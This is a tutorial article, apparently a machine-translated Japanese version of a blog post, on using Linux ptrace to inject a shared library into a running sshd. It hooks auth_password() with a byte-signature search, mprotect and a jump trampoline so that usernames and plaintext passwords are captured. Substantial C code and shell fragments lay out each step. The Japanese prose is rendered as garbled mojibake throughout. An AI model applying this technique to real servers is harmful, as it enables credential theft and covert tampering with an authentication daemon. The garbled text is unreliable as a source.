
ç§ãèšå®ããç®æšã¯éåžžã«åçŽã§ãããptraceã䜿çšããŠsshdã«å
¥åããããã¹ã¯ãŒããåŠç¿ããããšã§ãã ãã¡ãããããã¯ãã人çºçãªã¿ã¹ã¯ã§ããä»ã®å€ãã®ãã广çãªæ¹æ³ã䜿çšããŠãç®çãéæã§ããŸãïŒãããŠ
SEGVãååŸããå¯èœæ§ã¯ã¯ããã«äœããªã
ãŸã ïŒã
ptraceãšã¯äœã§ããïŒ
Windowsã§ã®æ³šå
¥ã«ç²ŸéããŠãã人ã¯ããããã颿°
VirtualAllocEx()
ã
WriteProcessMemory()
ã
ReadProcessMemory()
ããã³
CreateRemoteThread()
ç¥ã£ãŠããŸãã ãããã®åŒã³åºãã«ãããã¡ã¢ãªãå²ãåœãŠãå¥ã®ããã»ã¹ã§ã¹ã¬ãããéå§ã§ããŸãã Linuxã®äžçã§ã¯ãã«ãŒãã«ã¯
ptrace
æäŸããŸããããã¯ããããã¬ãŒãå®è¡äžã®ããã»ã¹ãšå¯Ÿè©±ã§ããããã§ãã
Ptraceã¯ãããšãã°æ¬¡ã®ãããªäŸ¿å©ãªãããã°æäœãæäŸããŸãã
- PTRACE_ATTACH-ãããã°ãããããã»ã¹ãäžæåæ¢ããããšã«ãããåäžã®ããã»ã¹ã«åå ã§ããŸã
- PTRACE_PEEKTEXT-å¥ã®ããã»ã¹ã®ã¢ãã¬ã¹ç©ºéããããŒã¿ãèªã¿åãããšãã§ããŸã
- PTRACE_POKETEXT-å¥ã®ããã»ã¹ã®ã¢ãã¬ã¹ç©ºéã«ããŒã¿ãæžã蟌ãããšãã§ããŸã
- PTRACE_GETREGS-ããã»ã¹ã¬ãžã¹ã¿ã®çŸåšã®ç¶æ
ãèªã¿åããŸã
- PTRACE_SETREGS-ããã»ã¹ã¬ãžã¹ã¿ã®ç¶æ
ãæžã蟌ã¿ãŸã
- PTRACE_CONT-ãããã°ãããããã»ã¹ã®å®è¡ãç¶ç¶ããŸã
ããã¯ptraceã®æ©èœã®å®å
šãªãªã¹ãã§ã¯ãããŸããããWin32ã§éŠŽæã¿ã®ããæ©èœãäžè¶³ããŠãããããå°é£ã«çŽé¢ããŸããã ããšãã°ãWindowsã§ã¯ãæ°ããå²ãåœãŠãããã¡ã¢ãªãžã®ãã€ã³ã¿ãè¿ã
VirtualAllocEx()
颿°ã䜿çšããŠãå¥ã®ããã»ã¹ã«ã¡ã¢ãªãå²ãåœãŠãããšãã§ããŸãã ããã¯ptraceã«ã¯ååšããªããããã³ãŒããå¥ã®ããã»ã¹ã«åã蟌ãå Žåã¯å³èã§è¡ãå¿
èŠããããŸãã
ããã§ã¯ãptraceã䜿çšããŠããã»ã¹ãå¶åŸ¡ããæ¹æ³ã«ã€ããŠèããŠã¿ãŸãããã
Ptraceã®åºæ¬
ç§ãã¡ãæåã«ããªããã°ãªããªãããšã¯ãèå³ã®ããããã»ã¹ã«åå ããããšã§ãã ãããè¡ãã«ã¯ãPTRACE_ATTACHãã©ã¡ãŒã¿ãŒãæå®ããŠptraceãåŒã³åºãã ãã§ãã
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
ãã®åŒã³åºãã¯äº€éæžæ»ã®ããã«åçŽã§ãåå ãããããã»ã¹ã®PIDãåãå
¥ããŸãã åŒã³åºããçºçãããšãSIGSTOPã·ã°ãã«ãéä¿¡ãããç®çã®ããã»ã¹ã匷å¶çã«åæ¢ãããŸãã
åå åŸãäœãã倿Žãå§ããåã«ãã¹ãŠã®ã¬ãžã¹ã¿ã®ç¶æ
ãä¿åããçç±ããããŸãã ããã«ãããåŸã§ããã°ã©ã ã埩å
ã§ããŸãã
struct user_regs_struct oldregs; ptrace(PTRACE_GETREGS, pid, NULL, &oldregs);
次ã«ãã³ãŒããèšè¿°ã§ããå ŽæãèŠã€ããå¿
èŠããããŸãã æãç°¡åãªæ¹æ³ã¯ãããããã¡ã€ã«ããæ
å ±ãæœåºããããšã§ããããã¯ãåããã»ã¹ã®procfsã«ãããŸãã ããšãã°ãUbuntuã§å®è¡äžã®sshdããã»ã¹ã®ã/ proc / PID / mapsãã¯æ¬¡ã®ããã«ãªããŸãã

å®è¡æš©ãå²ãåœãŠãããã¡ã¢ãªé åãèŠã€ããå¿
èŠããããŸãïŒã»ãšãã©ã®å Žåããr-xpãïŒã ã¬ãžã¹ã¿ãšã®é¡æšã«ãããèªåã«åã£ããšãªã¢ãèŠã€ãã£ããããã«å
容ãä¿åããåŸã§äœæ¥ãæ£ãã埩å
ã§ããããã«ããŸãã
ptrace(PTRACE_PEEKTEXT, pid, addr, NULL);
ptraceã䜿çšãããšãæå®ããã¢ãã¬ã¹ã§1ã€ã®ãã·ã³ããŒã¿ã¯ãŒãïŒx86ã§32ããããŸãã¯x86_64ã§64ãããïŒãèªã¿åãããšãã§ããŸããã€ãŸããããã«ããŒã¿ãèªã¿åãã«ã¯ãã¢ãã¬ã¹ãå¢ãããŠè€æ°ã®åŒã³åºããè¡ãå¿
èŠããããŸãã
泚ïŒLinuxã«ã¯ãå¥ã®ããã»ã¹ã®ã¢ãã¬ã¹ã¹ããŒã¹ãæäœããããã®process_vm_readvïŒïŒããã³process_vm_writevïŒïŒããããŸãã ãã ãããã®èšäºã§ã¯ãptraceã®äœ¿çšã«åºå·ããŸãã å¥ã®ããšããããå Žåã¯ããããã®æ©èœã«ã€ããŠèªãããšããå§ãããŸããå¿
èŠãªã¡ã¢ãªé åãããã¯ã¢ããããã®ã§ãäžæžããéå§ã§ããŸãã
ptrace(PTRACE_POKETEXT, pid, addr, word);
PTRACE_PEEKTEXTãšåæ§ã«ããã®åŒã³åºãã§ã¯ãæå®ãããã¢ãã¬ã¹ã§äžåºŠã«1ã€ã®ãã·ã³ã¯ãŒãããèšé²ã§ããŸããã ãŸããè€æ°ã®æ©æ¢°èªãæžãã«ã¯å€ãã®åŒã³åºããå¿
èŠã«ãªããŸãã
ã³ãŒããèªã¿èŸŒãã åŸãã³ã³ãããŒã«ãå¶åŸ¡ã«ç§»ãå¿
èŠããããŸãã ã¡ã¢ãªå
ã®ããŒã¿ïŒã¹ã¿ãã¯ãªã©ïŒãäžæžãããªãããã«ã以åã«ä¿åããã¬ãžã¹ã¿ã䜿çšããŸãã
struct user_regs_struct r; memcpy(&r, &oldregs, sizeof(struct user_regs_struct));
æåŸã«ãPTRACE_CONTã§å®è¡ãç¶ç¶ã§ããŸãã
ptrace(PTRACE_CONT, pid, NULL, NULL);
ããããã³ãŒãã®å®è¡ãå®äºããããšãã©ã®ããã«ããŠç¥ãããšãã§ããŸããïŒ SIGTRAPãçæãããint 0x03ãåœä»€ãšãåŒã°ãããœãããŠã§ã¢å²ã蟌ã¿ã䜿çšããŸãã waitpidïŒïŒã§ãããåŸ
ã¡ãŸãïŒ
waitpid(pid, &status, WUNTRACED);
waitpidïŒïŒã¯ãããã»ã¹ãPIDã§åæ¢ããã®ãåŸ
æ©ãã忢ã®çç±ãã¹ããŒã¿ã¹å€æ°ã«æžã蟌ãããããã³ã°åŒã³åºãã§ãã ã¡ãªã¿ã«ã忢ã®çç±ãèŠã€ããããããããã®ãã¯ãããããããããŸãã
ïŒint 0x03ã®åŒã³åºãã«ããïŒSIGTRAPãåå ã§åæ¢ãããã©ããã確èªããã«ã¯ã次ã®ããã«ããŸãã
waitpid(pid, &status, WUNTRACED); if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) { printf("SIGTRAP received\n"); }
ãã®æç¹ã§ãåã蟌ã¿ã³ãŒãã¯ãã§ã«å®è¡ãããŠãããå¿
èŠãªããšã¯ãããã»ã¹ãå
ã®ç¶æ
ã«æ»ãããšã ãã§ãã ãã¹ãŠã®ã¬ãžã¹ã¿ã埩å
ããŸãã
ptrace(PTRACE_SETREGS, pid, NULL, &origregs);
次ã«ãã¡ã¢ãªå
ã®å
ã®ããŒã¿ãè¿ããŸãã
ptrace(PTRACE_POKETEXT, pid, addr, word);
ãããŠãããã»ã¹ããåæããŸãã
ptrace(PTRACE_DETACH, pid, NULL, NULL);
ããã§ååãªçè«ã§ãã ããã«è峿·±ãéšåã«ç§»ããŸãããã
sshdã€ã³ãžã§ã¯ã·ã§ã³
sshdãããããããå¯èœæ§ãããããšãèŠåããå¿
èŠãããã®ã§ã泚æããŠãã ãããäœæ¥äžã®ã·ã¹ãã ãç¹ã«SSHçµç±ã®ãªã¢ãŒãã·ã¹ãã ã§ããããã§ãã¯ããªãã§ãã ããã
ããã«ãåãçµæãéæããããã®ããã€ãã®ããè¯ãæ¹æ³ããããŸãããç§ã¯ãããptraceã®åãç€ºãæ¥œããæ¹æ³ãšããŠã®ã¿ç€ºããŸãïŒHello Worldã§ã®æ³šå
¥ãããåªããŠããããšã«åæããŸã;ïŒç§ãããããã£ãã®ã¯ããŠãŒã¶ãŒãèªèšŒããããšãã«sshdãå®è¡ããŠãã°ã€ã³ãšãã¹ã¯ãŒãã®çµã¿åãããååŸããããšã ãã§ããã ãœãŒã¹ã³ãŒãã衚瀺ãããšã次ã®ããã«è¡šç€ºãããŸãã
auth-passwd.c int auth_password(Authctxt *authctxt, const char *password) { ... }
ãŠãŒã¶ãŒãã¯ãªã¢ããã¹ãã§éä¿¡ãããŠãŒã¶ãŒå/ãã¹ã¯ãŒããåé€ããã®ã«æé©ãªå Žæã®ããã§ãã
ã¡ã¢ãªå
ã§ãã®[颿°]ãèŠã€ããããšãå¯èœã«ãã颿°ã®ã·ã°ããã£ãèŠã€ãããã§ãã ç§ã¯ãæ°ã«å
¥ãã®åè§£ãŠãŒãã£ãªãã£ãradare2ã䜿çšããŸãã

äžæã§ãããauth_password颿°ã§ã®ã¿çºçãããã€ãã·ãŒã±ã³ã¹ãèŠã€ããå¿
èŠããããŸãã ãããè¡ãã«ã¯ãradare2ã®æ€çŽ¢ã䜿çšããŸãã

ã·ãŒã±ã³ã¹
xor rdx, rdx; cmp rax, 0x400
xor rdx, rdx; cmp rax, 0x400
ã¯èŠä»¶ã«é©åããELFãã¡ã€ã«å
šäœã§1åã®ã¿æ€åºãããŸãã
泚ïŒãã®ã·ãŒã±ã³ã¹ããªãå Žåã¯ãææ°ããŒãžã§ã³ã䜿çšããŠããããšã確èªããŠãã ãããããã«ããã2016幎åã°
ã®è匱æ§ã解決ãã
ãŸã ãããŒãžã§ã³7.6ã§ã¯ããã®ã·ãŒã±ã³ã¹ãäžæã§ã-çŽ
次ã®ã¹ãããã¯ã³ãŒãã€ã³ãžã§ã¯ã·ã§ã³ã§ãã
.soãsshdã«ããŠã³ããŒã
ã³ãŒããsshdã«ããŒãããã«ã¯ãdlopenïŒïŒãåŒã³åºããŠãauth_passwordãã¹ããŒãã£ã³ã°ãæ¢ã«å®è£
ããŠããåçã©ã€ãã©ãªãããŒãã§ããå°ããªã¹ã¿ããäœæããŸãã
dlopenïŒïŒã¯ãåçãªã³ã¯ã®åŒã³åºãã§ãããåŒæ°ã§åçã©ã€ãã©ãªãžã®ãã¹ãååŸããåŒã³åºãããã»ã¹ã®ã¢ãã¬ã¹ç©ºéã«ããŒãããŸãã ãã®é¢æ°ã¯libdl.soã«ãããã¢ããªã±ãŒã·ã§ã³ã«åçã«ãªã³ã¯ããŸãã
幞ããªããšã«ããã®ã±ãŒã¹ã§ã¯ãlibdl.soã¯ãã§ã«sshdã«ããŒããããŠãããããdlopenïŒïŒãå®è¡ããã ãã§ãã ãã ãã
ASLRã«ãããdlopenïŒïŒãæ¯ååãå Žæ
ã«ããããšã¯ã»ãšãã©ãªããããsshdã¡ã¢ãªã§ãã®ã¢ãã¬ã¹ãèŠã€ããå¿
èŠããããŸãã
颿°ã®ã¢ãã¬ã¹ãèŠã€ããã«ã¯ããªãã»ãããèšç®ããå¿
èŠããããŸã-dlopenïŒïŒé¢æ°ã®ã¢ãã¬ã¹ãšlibdl.soã®éå§ã¢ãã¬ã¹ã®å·®ïŒ
unsigned long long libdlAddr, dlopenAddr; libdlAddr = (unsigned long long)dlopen("libdl.so", RTLD_LAZY); dlopenAddr = (unsigned long long)dlsym(libdlAddr, "dlopen"); printf("Offset: %llx\n", dlopenAddr - libdlAddr);
ãªãã»ãããèšç®ããã®ã§ãmapsãã¡ã€ã«ããlibdl.soã®éå§ã¢ãã¬ã¹ãèŠã€ããå¿
èŠããããŸãã

sshdã®libdl.soã®ããŒã¹ã¢ãã¬ã¹ïŒäžèšã®ã¹ã¯ãªãŒã³ã·ã§ããããæ¬¡ã®ããã«0x7f0490a0d000ïŒãããã£ãŠããã®ã§ããªãã»ããã远å ããã€ã³ãžã§ã¯ã·ã§ã³ã³ãŒãããåŒã³åºãã¢ãã¬ã¹dlopenïŒïŒãååŸã§ããŸãã
PTRACE_SETREGSã䜿çšããŠãå¿
èŠãªãã¹ãŠã®ã¢ãã¬ã¹ãã¬ãžã¹ã¿ã«æž¡ããŸãã
ãŸããåã蟌ãŸããã©ã€ãã©ãªãžã®ãã¹ãsshdã¢ãã¬ã¹ç©ºéã«æžã蟌ãå¿
èŠããããŸããæ¬¡ã«äŸã瀺ããŸãã
void ptraceWrite(int pid, unsigned long long addr, void *data, int len) { long word = 0; int i = 0; for (i=0; i < len; i+=sizeof(word), word=0) { memcpy(&word, data + i, sizeof(word)); if (ptrace(PTRACE_POKETEXT, pid, addr + i, word)) == -1) { printf("[!] Error writing process memory\n"); exit(1); } } } ptraceWrite(pid, (unsigned long long)freeaddr, "/tmp/inject.so\x00", 16)
ã€ã³ãžã§ã¯ã·ã§ã³ã®æºåäžã«ã§ããã ãå€ãã®ããšãè¡ããåŒæ°ãžã®ãã€ã³ã¿ãã¬ãžã¹ã¿ã«çŽæ¥ããŒãããããšã§ãã€ã³ãžã§ã¯ã·ã§ã³ã³ãŒããç°¡åã«ããããšãã§ããŸãã äŸïŒ
ã€ãŸããã³ãŒãã€ã³ãžã§ã¯ã·ã§ã³ã¯éåžžã«ç°¡åã§ãã
; RSI set as value '2' (RTLD_LAZY) ; RDI set as char* to shared library path ; RAX contains the address of dlopen call rax int 0x03
ã€ã³ãžã§ã¯ã·ã§ã³ã³ãŒãã§ããŒãããããã€ãããã¯ã©ã€ãã©ãªãäœæããŸãã
å
ã«é²ãåã«ã䜿çšãããéèŠãªããšã1ã€èããŠãã ãã...åçã©ã€ãã©ãªã³ã³ã¹ãã©ã¯ã¿ãŒã
åçã©ã€ãã©ãªã®ã³ã³ã¹ãã©ã¯ã¿
åçã©ã€ãã©ãªã¯ãããŒãæã«ã³ãŒããå®è¡ã§ããŸãã ãããè¡ãã«ã¯ããã³ãŒããŒã§é¢æ°ãããŒã¯ããŸã "__attribute __ïŒïŒconstructorïŒïŒ"ã äŸïŒ
#include <stdio.h> void __attribute__((constructor)) test(void) { printf("Library loaded on dlopen()\n"); }
ç°¡åãªã³ãã³ãã§ã³ããŒã§ããŸãïŒ
gcc -o test.so --shared -fPIC test.c
次ã«ãæ©èœã確èªããŸãã
dlopen("./test.so", RTLD_LAZY);
ã©ã€ãã©ãªãããŒãããããšãã³ã³ã¹ãã©ã¯ã¿ãŒãåŒã³åºãããŸãã

ãŸãããã®æ©èœã䜿çšããŠãå¥ã®ããã»ã¹ã®ã¢ãã¬ã¹ç©ºéã«ã³ãŒããæ¿å
¥ããéã®äœæ¥ã楜ã«ããŸãã
sshdåçã©ã€ãã©ãª
åçã©ã€ãã©ãªãããŒãã§ããããã«ãªã£ãã®ã§ãå®è¡æã«auth_passwordïŒïŒã®åäœã倿Žããã³ãŒããäœæããå¿
èŠããããŸãã
åçã©ã€ãã©ãªãããŒãããããšãprocfsã®ãã¡ã€ã«ã/ proc / self / mapsãã䜿çšããŠsshdéå§ã¢ãã¬ã¹ãèŠã€ããããšãã§ããŸãã auth_passwordïŒïŒã§äžæã®ã·ãŒã±ã³ã¹ãæ¢ããrxãæš©éãæã€é åãæ¢ããŠããŸãã
d = fopen("/proc/self/maps", "r"); while(fgets(buffer, sizeof(buffer), fd)) { if (strstr(buffer, "/sshd") && strstr(buffer, "rx")) { ptr = strtoull(buffer, NULL, 16); end = strtoull(strstr(buffer, "-")+1, NULL, 16); break; } }
æ€çŽ¢ããã¢ãã¬ã¹ã®ç¯å²ãããããã颿°ãæ¢ããŠããŸãïŒ
const char *search = "\x31\xd2\x48\x3d\x00\x04\x00\x00"; while(ptr < end) {
äžèŽãããã®ãèŠã€ãã£ãããmprotectïŒïŒã䜿çšããŠã¡ã¢ãªé åã®ã¢ã¯ã»ã¹èš±å¯ã倿Žããå¿
èŠããããŸãã ããã¯ãã¡ã¢ãªé åãèªã¿åãå¯èœã§å®è¡å¯èœã§ãããå€åºå
ã§ã®å€æŽã«ã¯æžãèŸŒã¿æš©éãå¿
èŠãªããã§ãã
mprotect((void*)(((unsigned long long)ptr / 4096) * 4096), 4096*2, PROT_READ | PROT_WRITE | PROT_EXEC)
ããŠãç®çã®ã¡ã¢ãªé åã«æžãèŸŒãæš©å©ããããŸããæ¬¡ã«ãããã¯ã«å¶åŸ¡ãæž¡ãauth_password颿°ã®å
é ã«å°ããªã¹ããªã³ã°ããŒãã远å ããŸãã
char jmphook[] = "\x48\xb8\x48\x47\x46\x45\x44\x43\x42\x41\xff\xe0";
ããã¯æ¬¡ã®ã³ãŒããšåçã§ãã
mov rax, 0x4142434445464748 jmp rax
ãã¡ãããã¢ãã¬ã¹0x4142434445464748ã¯ç§ãã¡ã«ã¯é©ããŠããããããã¯ã®ã¢ãã¬ã¹ã«çœ®ãæããããŸãïŒ
*(unsigned long long *)((char*)jmphook+2) = &passwd_hook;
ããã§ãã¹ããªã³ã°ããŒããsshdã«æ¿å
¥ã§ããŸãã æ³šå
¥ãçŸãããããã«ããã«ã¯ã颿°ã®æåã«ã¹ããªã³ã°ããŒããæ¿å
¥ããŸãã
次ã«ãæž¡ãããŒã¿ã®ãã°ãåŠçããããã¯ãå®è£
ããå¿
èŠããããŸãã ããã¯ã®éå§åã«ãã¹ãŠã®ã¬ãžã¹ã¿ãä¿åããå
ã®ã³ãŒãã«æ»ãåã«åŸ©å
ããããšã確èªããå¿
èŠããããŸãã
ãœãŒã¹ã³ãŒããããã¯ãã ãŸããããã¯ãã¹ãŠ...ããæå³ã§...
æ®å¿µãªãããããããã¹ãŠè¡ãããåŸãããã ãã§ã¯ãããŸããã sshdã³ãŒãã€ã³ãžã§ã¯ã·ã§ã³ã倱æããå Žåã§ããæ¢ããŠãããŠãŒã¶ãŒãã¹ã¯ãŒãããŸã å©çšã§ããªãããšã«æ°ä»ããããããŸããã ããã¯ã忥ç¶ã®sshdãæ°ããåãäœæããããã§ãã æ¥ç¶ãåŠçããã®ã¯æ°ããåã§ãããããã¯ãèšå®ããå¿
èŠãããã®ã¯åœŒã®äžã§ãã
sshdã®åã§äœæ¥ããŠããããšã確èªããããã«ã芪PID sshdãæå®ããçµ±èšãã¡ã€ã«ã®procfsãã¹ãã£ã³ããããšã«ããŸããã ãã®ãããªããã»ã¹ãèŠã€ãããšããã«ãã€ã³ãžã§ã¯ã¿ãŒã¯åœŒã®ããã«èµ·åããŸãã
ããã«ã¯å©ç¹ããããŸãã ãã¹ãŠãããŸãããããã³ãŒãã€ã³ãžã§ã¯ã·ã§ã³ãSIGSEGVãããããããããšã1人ã®ãŠãŒã¶ãŒã®ããã»ã¹ã®ã¿ã匷å¶çµäºããã芪sshdããã»ã¹ã¯åŒ·å¶çµäºãããŸããã æå€§ã®æ
°ãã§ã¯ãããŸããããæããã«ãããã°ã容æã«ãªããŸãã
åäœäžã®æ³šå
¥
ã§ã¯ããã¢ãèŠãŠã¿ãŸãããã

å®å
šãªã³ãŒãã¯
ãã¡ãã«ãããŸã ã
ãã®æ
è¡ãããªãèªèº«ã«ptraceãçªãã®ã«ååãªæ
å ±ãäžããŠãããããšãé¡ã£ãŠããŸãã
ptraceã®åŠçã«åœ¹ç«ã£ã次ã®äººã
ãšãµã€ãã«æè¬ããŸãã